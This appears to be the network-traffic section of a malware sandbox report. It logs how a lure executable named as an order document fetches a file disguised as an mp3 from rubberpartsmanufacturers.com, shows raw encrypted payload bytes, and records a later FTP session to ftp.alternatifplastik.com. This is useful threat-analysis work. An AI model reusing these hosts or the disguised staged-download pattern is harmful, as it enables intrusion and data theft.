Oct 9, 2024 10:51:26.344022036 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.344042063 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.344691038 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.344758987 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.344769001 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.344780922 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.344816923 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.344835043 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.345551014 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.345618010 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.345627069 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.345664978 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.345685959 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.345694065 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.345707893 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.345730066 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.346333027 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.346416950 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.429002047 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.429106951 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.429414988 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.429501057 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.429728985 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.429796934 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.429833889 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.429925919 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.430145979 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.430228949 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.430675030 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.430743933 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.431029081 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.431099892 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.431206942 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.431278944 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.431291103 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.431358099 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.432199955 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.432280064 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.432290077 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.432317972 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.432349920 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.432375908 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.432748079 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.432820082 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.432845116 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.432919025 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.432933092 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.433000088 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.433900118 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.433971882 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.433990002 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.434056997 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.574551105 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.574625015 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.574759960 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.574809074 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.575066090 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.575117111 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.575414896 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.575478077 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.575726986 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.575781107 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.576121092 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.576181889 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.576433897 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.576483965 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.576865911 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.576921940 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.577023029 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.577075005 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.577568054 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.577625036 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.577713966 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.577770948 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.578263998 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.578327894 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.578421116 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.578475952 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.578957081 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.579020023 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.579165936 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.579222918 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.579349995 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.579474926 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.662007093 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.662111998 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.662132025 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.662158012 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.662180901 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.662203074 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.662393093 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.662455082 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.662849903 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.662910938 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.663291931 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.663352013 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.663358927 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.663372040 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.663403988 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.664011955 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.664098024 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.664144993 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.664207935 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.664694071 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.664774895 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.664777040 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.664786100 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.664824963 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.664824963 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.664844036 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.664854050 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.664885998 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.664913893 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.666064024 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.666122913 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.666142941 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.666153908 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.666177988 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.666188002 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.666194916 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.666199923 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.666243076 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.666304111 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.666361094 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.666367054 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.666388035 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.666412115 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.666441917 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.674438953 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:29.246506929 CEST	49743	21	192.168.2.4	5.2.84.236
Oct 9, 2024 10:51:29.251547098 CEST	21	49743	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:29.252777100 CEST	49743	21	192.168.2.4	5.2.84.236
Oct 9, 2024 10:51:29.896641016 CEST	21	49743	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:29.923542023 CEST	49743	21	192.168.2.4	5.2.84.236
Oct 9, 2024 10:51:29.935475111 CEST	21	49743	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:30.158037901 CEST	21	49743	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:30.167351007 CEST	49743	21	192.168.2.4	5.2.84.236
Oct 9, 2024 10:51:30.172322989 CEST	21	49743	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:30.409931898 CEST	21	49743	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:30.410108089 CEST	49743	21	192.168.2.4	5.2.84.236
Oct 9, 2024 10:51:30.415081024 CEST	21	49743	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:30.633862972 CEST	21	49743	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:30.634056091 CEST	49743	21	192.168.2.4	5.2.84.236
Oct 9, 2024 10:51:30.639172077 CEST	21	49743	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:30.849375010 CEST	49740	21	192.168.2.4	5.2.84.236
Oct 9, 2024 10:51:30.858278990 CEST	21	49743	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:30.858453035 CEST	49743	21	192.168.2.4	5.2.84.236
Oct 9, 2024 10:51:30.863365889 CEST	21	49743	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:31.082277060 CEST	21	49743	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:31.082462072 CEST	49743	21	192.168.2.4	5.2.84.236
Oct 9, 2024 10:51:31.087609053 CEST	21	49743	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:31.306466103 CEST	21	49743	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:31.307218075 CEST	49744	50958	192.168.2.4	5.2.84.236
Oct 9, 2024 10:51:31.312223911 CEST	50958	49744	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:31.312374115 CEST	49744	50958	192.168.2.4	5.2.84.236
Oct 9, 2024 10:51:31.312442064 CEST	49743	21	192.168.2.4	5.2.84.236
Oct 9, 2024 10:51:31.317363024 CEST	21	49743	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:31.936820030 CEST	21	49743	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:31.937083006 CEST	49744	50958	192.168.2.4	5.2.84.236
Oct 9, 2024 10:51:31.937148094 CEST	49744	50958	192.168.2.4	5.2.84.236
Oct 9, 2024 10:51:31.941932917 CEST	50958	49744	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:31.942528009 CEST	50958	49744	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:31.942584038 CEST	49744	50958	192.168.2.4	5.2.84.236
Oct 9, 2024 10:51:31.988519907 CEST	49743	21	192.168.2.4	5.2.84.236
Oct 9, 2024 10:51:32.161956072 CEST	21	49743	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:32.207269907 CEST	49743	21	192.168.2.4	5.2.84.236

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 9, 2024 10:50:58.216767073 CEST	53573	53	192.168.2.4	1.1.1.1
Oct 9, 2024 10:50:58.743102074 CEST	53	53573	1.1.1.1	192.168.2.4
Oct 9, 2024 10:51:04.537235975 CEST	63577	53	192.168.2.4	1.1.1.1
Oct 9, 2024 10:51:04.657974958 CEST	53	63577	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 9, 2024 10:50:58.216767073 CEST	192.168.2.4	1.1.1.1	0xb842	Standard query (0)	rubberpartsmanufacturers.com	A (IP address)	IN (0x0001)	false
Oct 9, 2024 10:51:04.537235975 CEST	192.168.2.4	1.1.1.1	0xe916	Standard query (0)	ftp.alternatifplastik.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 9, 2024 10:50:58.743102074 CEST	1.1.1.1	192.168.2.4	0xb842	No error (0)	rubberpartsmanufacturers.com		103.191.208.122	A (IP address)	IN (0x0001)	false
Oct 9, 2024 10:51:04.657974958 CEST	1.1.1.1	192.168.2.4	0xe916	No error (0)	ftp.alternatifplastik.com		5.2.84.236	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

rubberpartsmanufacturers.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	103.191.208.122	443	7444	C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-09 08:51:00 UTC	94	OUT	GET /omani/Mrlres.mp3 HTTP/1.1 Host: rubberpartsmanufacturers.com Connection: Keep-Alive
2024-10-09 08:51:00 UTC	235	IN	HTTP/1.1 200 OK Date: Wed, 09 Oct 2024 08:51:00 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 09 Oct 2024 07:54:24 GMT Accept-Ranges: bytes Content-Length: 958480 Content-Type: audio/mpeg
2024-10-09 08:51:00 UTC	7957	IN	Data Raw: 88 14 a7 17 bd e8 67 29 50 62 e3 5e 42 a4 4a 34 19 52 a8 2c c3 23 95 4e 6a 7a 5e d8 17 90 c0 74 6f 69 9f d7 1d c0 6e 61 68 4a b7 48 b5 82 74 65 07 04 da ca 2b 86 46 d2 82 dc 75 03 96 e3 fa ee bc ef 53 e7 e5 b7 66 bb f0 92 b6 10 7d 8b 6f 52 55 38 be b9 ff d8 3f 84 1e c3 f5 84 44 f2 03 86 7e f4 7e 36 74 95 f7 73 de 1a 4a 72 4c d2 4d 6c bf 8a 46 c0 b4 0f a0 9e 64 01 60 e6 e6 5e 2f 3a e2 4e 31 25 6a 78 91 cb e5 6d c6 c0 3b ef fe 00 67 12 ce ff 25 4f d1 d1 7f e5 9f 7e 56 4a 71 40 91 13 1a 1e 94 dd 1a eb b0 72 cf d8 f9 3f bf b8 64 e4 c8 ea ea 58 18 cd 1f 3d 6b 6e 4a ff 5c 6e e0 9a dc d1 3d 1b 49 f3 b7 e5 38 9e de d6 81 d5 02 6b e3 2d f2 66 dc 94 b9 10 8a b0 eb 88 28 c5 c0 aa c1 85 9e 4b 90 27 ee 2d e6 b8 85 0d eb b5 49 fa a9 33 90 79 74 f0 2d 43 cd 2f 68 e5 bc Data Ascii: g)Pb^BJ4R,#Njz^toinahJHte+FuSf}oRU8?D~~6tsJrLMlFd`^/:N1%jxm;g%O~VJq@r?dX=knJ\n=I8k-f(K'-I3yt-C/h
2024-10-09 08:51:00 UTC	8000	IN	Data Raw: c8 90 a7 89 1d e7 6d cd 21 aa 28 46 f1 f2 c5 a2 13 0b 1d 81 19 60 4f 58 2f 8c b2 29 1b 98 b0 4b 7f dd 7b 81 f1 d9 d3 a5 e7 8d 26 88 4a 28 6b f1 05 8f b8 0b 26 de 17 21 90 ea 1c 8e ef fb f0 2f 7f 09 ad 64 78 0d ae 33 a6 38 12 c4 a8 84 dc 0f 11 28 62 1d 06 10 29 66 cf c5 28 bf 0d df cc 91 3d 0b 02 b7 5f 16 f9 16 e4 5d fb ee 39 d1 8c e4 4a a0 99 e6 b2 d5 d6 d2 41 8c 75 f2 fc e4 fc c4 1b 5d a7 0f 23 8f 71 bf 4a 1d 9b 90 4a ce ca fc a4 7c 34 57 0d 7a cd 08 92 de 00 c1 38 f2 93 a8 9e ba dd 6e 66 32 8f c0 74 73 84 7f bd c9 29 dc 31 7b f8 8f 1f 2f df fd 70 bc 5c 32 de b3 52 f7 3c ed 50 d5 3c 4e 97 30 25 42 ae 1a 9a d3 cf 28 c8 09 15 04 d6 13 bd db 13 b3 15 93 ae 09 57 1b 0d 4e ee 82 37 8b 59 bf 8d 02 f5 4e a1 fe b3 3c 79 c1 79 9e a7 1e 92 7e 82 07 49 3d a3 e2 5f Data Ascii: m!(F`OX/)K{&J(k&!/dx38(b)f(=_]9JAu]#qJJ\|4Wz8nf2ts)1{/p\2R<P<N0%B(WN7YN<yy~I=_
2024-10-09 08:51:00 UTC	8000	IN	Data Raw: ae 68 01 cb 0b d0 d6 62 67 49 43 55 da 28 9f cd 0b 86 80 d0 68 3b 19 55 7b 77 1f a0 8f 87 12 fe c5 e1 64 0c e7 a5 cd f5 9f b2 30 f4 89 5a 86 f7 37 6e 8e 77 ed f3 28 c4 8d e4 83 50 46 c6 83 ae 87 ae 51 e6 96 b9 85 f1 77 c8 e8 c6 ba 3b 1a 9b 06 57 a7 a2 23 8c da 85 c7 f2 5a 05 7e d7 04 59 25 df e1 03 87 64 3f 47 3e a7 7b 9e 2b 75 f5 99 41 b9 7e dc de 5a b3 d6 42 82 1c 83 2e cc a8 65 9c 2e 63 0b a7 3c 2e b4 c0 b8 a0 61 f4 80 44 15 65 d7 7d 96 53 58 48 8c 40 1f 08 12 76 b1 c2 48 b3 06 06 fe e2 25 65 ed 39 60 19 40 ae e7 b1 29 14 c3 f3 dc 1b 07 d5 33 66 2b 9a 83 af bb 43 90 3f 92 9a 28 b0 c2 2e 63 95 ad 37 f2 70 69 fa 9e 78 23 b1 c7 e6 33 7b db de fa a9 23 44 22 44 ec 3a d7 fa 74 81 24 02 3a 2b 9b bb 7f 4f 82 49 ce 2d 9f 44 38 bb 3d c7 cb b6 e2 9e 3f 3e ff da Data Ascii: hbgICU(h;U{wd0Z7nw(PFQw;W#Z~Y%d?G>{+uA~ZB.e.c<.aDe}SXH@vH%e9`@)3f+C?(.c7pix#3{#D"D:t$:+OI-D8=?>
2024-10-09 08:51:00 UTC	8000	IN	Data Raw: 7f 14 8f 52 2b da 02 c9 83 ce 12 07 6f c7 86 ef 36 e4 a9 2f 40 b8 28 a6 a0 b1 41 f3 6c 76 fc 63 31 13 72 c8 9e 1a eb f5 d8 0e a0 c9 82 e8 ba 28 83 61 10 d7 32 9a 28 16 ea 70 2e 8e c1 35 28 cd 9d 8d cb d0 4c a9 0d 55 8c 39 b6 a2 ce 0c af f2 dd d7 8f c2 85 f9 a6 4a 7a 0b d6 5a 2b 35 f2 32 d1 13 ca 2a a6 92 f2 46 6e 3f ef af c7 a1 12 f7 7e 75 db 23 b8 fa 86 dc fb ed c0 8a 05 5d 18 bc cf ac 3c 77 1d 15 99 0b e1 3f 50 3c b6 1c 64 bf ed 0b f7 99 59 48 b8 e6 fc 5d 09 c8 7e dc e0 55 83 3b 94 53 75 aa 40 24 60 c4 4b 8f 40 e8 26 16 76 0f e5 9b 84 82 15 2f bb 72 ac e8 be df 81 00 9c db 6d c3 b9 9c 2a 5f f8 f2 d4 e8 0b fc b7 ec 00 b8 3b b9 e2 b5 c8 ee 7b 45 94 f9 d7 b7 59 45 be d4 a8 31 60 a4 50 e7 b7 38 84 5c cd 11 dd d3 6f 38 d3 5e 91 45 3f dc c8 77 73 6c 11 58 49 Data Ascii: R+o6/@(Alvc1r(a2(p.5(LU9JzZ+52Fn?~u#]<w?P<dYH]~U;Su@$`K@&v/rm_;{EYE1`P8\o8^E?wslXI
2024-10-09 08:51:00 UTC	8000	IN	Data Raw: 52 cd 26 4a 45 b4 aa a5 f5 fe c1 d9 18 98 34 36 d1 6d 24 f5 07 7c 95 de 24 4a e8 cd e0 7c 64 cc 60 8a 41 32 33 7e 27 b1 26 50 fa 49 a5 0d 07 f0 df 0e 43 30 31 c9 4a e9 8e 44 49 a9 b9 c7 15 4c a2 4e da 91 0e 0e bb 13 58 3d 12 20 5b 5a a7 05 17 74 bb 05 7c 20 5d d9 b8 53 f7 af 4a c1 83 cc be dd a0 45 89 48 97 0a 83 84 8c fc 19 4e 63 77 01 44 86 9b d9 e7 42 42 eb 25 c0 a0 ae 6e fc 86 5e 2d 81 48 66 a7 a5 2c 9b b1 f2 39 0f e8 b6 5d a8 b3 00 57 39 74 51 9f 58 a0 6a c0 ca 9a 86 65 35 62 83 09 66 b9 20 a9 cf 0a c8 cc b6 25 0f 1a 46 20 55 f2 c5 a7 bd f7 0d 1e 21 68 d3 d0 65 93 fb e5 ae 02 2c 89 03 e5 bf 27 de e6 37 14 16 b5 4e 27 18 86 8a 2b 1a ee 8f c0 b9 cf c6 12 7f 1e c4 bd a1 36 99 b3 28 7e 4f c2 93 8c 94 53 ce 20 17 3f 55 96 c4 12 ca 25 77 1f 27 27 a7 4b c5 Data Ascii: R&JE46m$\|$J\|d`A23~'&PIC01JDILNX= [Zt\| ]SJEHNcwDBB%n^-Hf,9]W9tQXje5bf %F U!he,'7N'+6(~OS ?U%w''K
2024-10-09 08:51:00 UTC	8000	IN	Data Raw: d3 88 53 21 ff 80 59 06 0b 8e 4e e0 04 6d dd 9a a1 d5 1b 66 65 ad cb bf 4a b3 75 37 b6 5c 6e c8 bb 87 cc 83 69 cb 8e f9 63 f3 42 c4 94 9b 71 76 e2 40 e7 21 f8 6c 43 1d 57 e5 79 8e 7f 8c 8f e0 9e 95 41 82 93 f0 27 32 7f f2 ad ee e6 1b 23 d6 d7 5a 32 32 40 42 ea e0 f8 b2 d2 75 d3 15 5a 61 d8 3e 92 9c 60 d3 a5 62 94 b6 d9 f8 ac d3 65 3d cb af f1 a0 1b b0 40 7a d6 4a 34 83 c4 62 39 fb 11 9c ea 7d 26 d9 01 84 7c d5 62 cd 6d 6b be da a7 eb a9 00 1d 75 26 91 43 df 7a 38 21 8c 1a 19 57 f9 42 83 a6 13 9b e4 f3 f6 82 a9 27 51 fa c0 b4 d4 f3 ec b1 65 97 f6 1e 9f 85 35 49 f8 ad 28 73 6d 82 47 e9 31 2c bc e4 e9 82 c0 33 bb 0c 80 1e eb 40 ef 98 44 25 d2 69 21 77 0f 0f 23 09 89 ae 1d 7e 35 c9 63 7a fa 95 a4 f7 ea f8 69 73 27 1c 6d be b1 ed 57 08 4d db 7d a1 d4 9f 20 c4 Data Ascii: S!YNmfeJu7\nicBqv@!lCWyA'2#Z22@BuZa>`be=@zJ4b9}&\|bmku&Cz8!WB'Qe5I(smG1,3@D%i!w#~5czis'mWM}
2024-10-09 08:51:00 UTC	8000	IN	Data Raw: 3e 7d 0a e2 eb 1c 91 65 2e fb b7 02 aa cf ca 43 2c 4f 8f a0 35 ab e1 57 9e 88 8d e4 6f 61 db 43 90 15 89 ce 1e 91 1e 00 a2 02 92 95 96 b0 6f 95 a8 d4 ca fa e5 d3 54 60 1c 4c ec 49 1d 34 98 25 b9 50 21 ae 55 02 a5 1e f0 da 8e 0d f8 cd a2 69 1c 16 d7 15 ed 3f 1d 2c bd a8 95 ea af 47 a0 31 f6 e3 a6 da 94 bb 4c 5e fe 55 de 79 d3 c3 0f a9 76 d3 79 e3 5d 2d 8e 1c d0 82 93 fc d2 76 85 9e a3 ca 15 44 57 b1 d5 1a a7 99 d0 ef b5 65 77 ad dc 4f 56 31 06 4a b3 88 33 e8 56 3a 48 7c f9 13 ab 1e 6e 1e 29 f5 2b 4f 35 c5 0f 29 2a 6f 2c 98 7e 73 77 9b 9c 3f 2f 49 51 85 51 2d 1c 12 eb 39 93 0c 9f 41 71 e1 19 5f e1 f3 52 43 fd da 2d ef 2d c4 b7 a1 45 c7 c3 f3 19 58 7d c1 cc 3f e4 08 4c 71 d8 56 8b 6e 4a 14 e7 58 46 4c ea e2 50 73 b4 34 96 52 17 a8 50 4a 3f 61 43 7e a1 75 7e Data Ascii: >}e.C,O5WoaCoT`LI4%P!Ui?,G1L^Uyvy]-vDWewOV1J3V:H\|n)+O5)*o,~sw?/IQQ-9Aq_RC--EX}?LqVnJXFLPs4RPJ?aC~u~
2024-10-09 08:51:00 UTC	8000	IN	Data Raw: 43 89 fc ce b6 1f 53 39 3d 1e dd 34 fb 1f ea f1 b6 83 38 aa 0b 08 30 a0 af b1 18 dd f0 41 03 b1 60 b8 14 9a f7 42 2a 39 07 9a c0 db 07 78 ec 3e da 46 b5 2d 04 ec e3 9f 16 4e 08 e0 70 37 6c 09 7a 04 05 5c 13 89 ed 13 69 ff 0b 7f 11 5e 8f df 74 37 17 ee b6 64 b5 50 f5 ca 6e e4 bc be 64 02 30 00 b9 df f4 b8 c9 f0 5b 12 e8 f1 4a cd 48 d1 d2 cd 08 a3 5f f6 ee 09 50 0c 2d a7 5d 8a cc 67 cc ef 1d 88 19 79 5b 2a 39 e4 79 51 b0 68 63 ee 6d b9 66 9a 0c 4c d9 c6 7d 28 5d e6 9d 07 81 3d 94 e1 f7 8b 2d ac 0b 7a a7 44 85 a0 ee f7 fe 45 b0 38 64 af 57 98 56 1b 12 aa a2 58 55 87 3b 9d 72 dd 9f da 4d ec 50 7d 31 3c 9c 3d 2a 76 22 50 bc ec b2 b3 4d a2 87 47 49 13 13 05 cc 5b cf 7d d9 b3 31 8e e7 62 4a 41 21 12 87 e3 9d ca e2 8b bf 58 ab 2f c1 42 7c a5 0c 0f 90 6f 93 ad 64 Data Ascii: CS9=480A`B9x>F-Np7lz\i^t7dPnd0[JH_P-]gy[9yQhcmfL}(]=-zDE8dWVXU;rMP}1<=*v"PMGI[}1bJA!X/B\|od
